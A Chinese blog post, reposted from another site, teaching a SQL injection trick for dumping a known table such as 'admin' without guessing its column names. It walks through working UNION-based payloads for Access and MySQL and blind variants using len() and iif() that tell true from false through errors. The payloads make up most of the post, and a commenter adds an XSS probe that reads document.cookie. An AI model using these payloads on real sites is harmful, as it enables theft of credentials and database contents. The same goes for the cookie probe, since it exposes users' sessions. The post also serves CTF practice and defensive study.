基于子查询的SQL注入——免猜字段名

标签: none

条件:已知表名,字段名未知,数据库本身支持子查询 对付access比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据

思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。

例如以下注入点:

select title,time,author,content from article where id={inject here}

字段为四,已知表名admin,admin字段未知 先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:

select title,time,author,content from article where id=999999999 union select 1,2,3,4 from(select * from admin order by 1)

假设获得字段总数为五,构造子查询的联合查询语句并指定别名:

select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin

最后对这个子查询结果集进行查询即可:

select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin)

盲注的时候可以这样(用于回显不同时):

select title,time,author,content from article where id=999999999 or (select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0

也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时):

select title,time,author,content from article where id=999999999 or iif((select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0,1,(select 2 from multi_rows_table))=1

需要multi_rows_table记录数大于1 最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。 解释一下,上述的查询都是针对access的payload,mysql语法可以写成如下

select title,time,author,content from article where id=999999999 union select 1,2,3,concat(field_1,0x23,field_2,0x23,field_3,0x23,field_4,0x23,field_5) from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin) as sb;

转载来自http://www.hazzel.cn/archives/3.html


已有 2 条评论

  1. 12345 12345

  2. abc abc

    alert(document.cookie);

添加新评论